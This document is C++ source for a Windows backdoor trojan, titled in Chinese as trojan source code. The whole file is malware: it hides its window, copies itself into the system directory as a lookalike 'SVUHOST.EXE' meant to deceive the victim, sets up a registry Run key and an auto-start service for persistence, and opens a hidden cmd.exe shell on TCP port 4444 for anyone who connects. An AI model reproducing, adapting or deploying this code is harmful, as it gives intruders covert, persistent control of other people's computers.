反弹端口木马源码

// BingToCmd.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "BingToCmd.h"
#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <WinSvc.h>

#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  //隐藏窗口

#define BUFFERLEN 1024
#define PORT 4444

void AddToService();   //注册为系统服务
void AutoRun();  //开机自动运行
void TelnetForCmd2(); //绑定cmd.exe
void DelSelf();

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object

//CWinApp theApp;

//using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
 AutoRun();
 AddToService();
 //下面是调用绑定cmd.exe的TelnetForCmd函数
 WSAData wsa;
 if(WSAStartup(MAKEWORD(2,2),&wsa) == 0)
 {
  TelnetForCmd2();
  WSACleanup();
 }
 
 return 0;
}

void AddToService()
{
 LPCSTR lpszBinaryPathName = "C:\\windows\\system32\\SVUHOST.EXE";
    //注册为系统服务
 SC_HANDLE schSCManager,schService;
 schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
 schService = CreateService(schSCManager,"WindowsMgr","Windows Manger Control", //将服务的信息添加到SCM的数据库
  SERVICE_ALL_ACCESS,
  SERVICE_WIN32_OWN_PROCESS, // 服务类型
  SERVICE_AUTO_START, // 启动类型
  SERVICE_ERROR_NORMAL, 
  lpszBinaryPathName, // 服务名
  NULL,
  NULL,
  NULL,
  NULL,
  NULL);

    CloseServiceHandle(schService);
}

void AutoRun(void)
{
    TCHAR TempPath[MAX_PATH];
 CString temp;
 
 //确定Windows的系统目录
    ::GetSystemDirectory(TempPath ,MAX_PATH);
 TRACE("Windows system directory %s\n",TempPath);
 
 temp = TempPath;
 temp = temp + _T("\\SVUHOST.EXE");
 int len = temp.GetLength();
 LPBYTE lpb = new BYTE[len];
 
 for(int j = 0; j < len; j++)
 {
  lpb[j] = temp[j];
 }
 
 lpb[j] = 0;

 //获取当前程序路径
 char Path[MAX_PATH];
 ::GetModuleFileName(NULL,Path,MAX_PATH);
 
    //把本程序拷贝到系统目录下，并改名为SVUHOST.EXE，这样做的目的是为了迷惑被控制端用户
    CopyFile(Path, temp ,FALSE);

    HKEY hKey;
 //设置注册表中相关的路径
 LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
 //打开注册表中的相应项
 long ret0=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey));
 //将相关的信息写入注册表。
 long ret1=(::RegSetValueEx(hKey,_T("systemctrl"),NULL,REG_SZ,lpb,len));
 //关闭注册表中的相应的项
 ::RegCloseKey(hKey);
}

void TelnetForCmd2()   //telnet 绑定cmd.exe
{ 
 int val=1;
 char data[BUFFERLEN];
 SOCKET server;
 SOCKET client;
 struct sockaddr_in locsin;
 server = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //创建套接字
 locsin.sin_addr.s_addr=INADDR_ANY;
 locsin.sin_family = AF_INET;
 locsin.sin_port = htons(PORT);
 bind(server, (sockaddr*)&locsin, sizeof(locsin)); //绑定IP地址和端口
 listen(server,2);
 while(1)
 {
  val=sizeof(locsin);
  client=accept(server, (sockaddr*)&locsin,&val);
  if(client!=INVALID_SOCKET)
  {
   HANDLE rp1, wp1;
   SECURITY_ATTRIBUTES sa;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   unsigned long lBytesRead;
   int ret;
   char cmdLine[1024];
   BOOL cmdcomplete;
   
   sa.nLength = sizeof(sa);
   sa.lpSecurityDescriptor = 0;
   sa.bInheritHandle = TRUE;
   CreatePipe(&rp1, &wp1, &sa, 0);  //创建管道
   
   memset(&si,0,sizeof(si));
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.hStdError = si.hStdOutput = wp1;
   si.wShowWindow = SW_HIDE;
   si.cb = sizeof(STARTUPINFO);
   cmdcomplete = TRUE;
   
   while(1)
   {
    Sleep(100);
    lBytesRead = 0;
    ret = PeekNamedPipe(rp1,data,BUFFERLEN,&lBytesRead,0,0);
    if(lBytesRead)
    {
     if(ReadFile(rp1, data, lBytesRead, &lBytesRead, 0) > 0)
     {
      ret = send(client, data, lBytesRead, 0);
      if(!ret) break;
     }
    }
    else
    {
     lBytesRead=recv(client, data, BUFFERLEN ,0);
     if(lBytesRead <= 0)
      break;
     if(cmdcomplete == TRUE)
      strcpy(cmdLine,"cmd.exe /c ");
     data[lBytesRead] = '\0';
     strcat(cmdLine,data);
     if(strstr(data,"\n") != 0)
     {
      CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&pi);
      cmdcomplete = TRUE;
     }
     else
     {
      cmdcomplete = FALSE;
     }
     if(!ret) break;
    }
   }
   CloseHandle(rp1);
   CloseHandle(wp1);
   closesocket(client);
  }
//  DelSelf();
 }
 closesocket(server);
}

void DelSelf()
{
    //获取当前程序路径
 char Path[MAX_PATH];
 ::GetModuleFileName(NULL,Path,MAX_PATH);
 //删除自身
 DeleteFile(Path);
}
//====================THE END======================//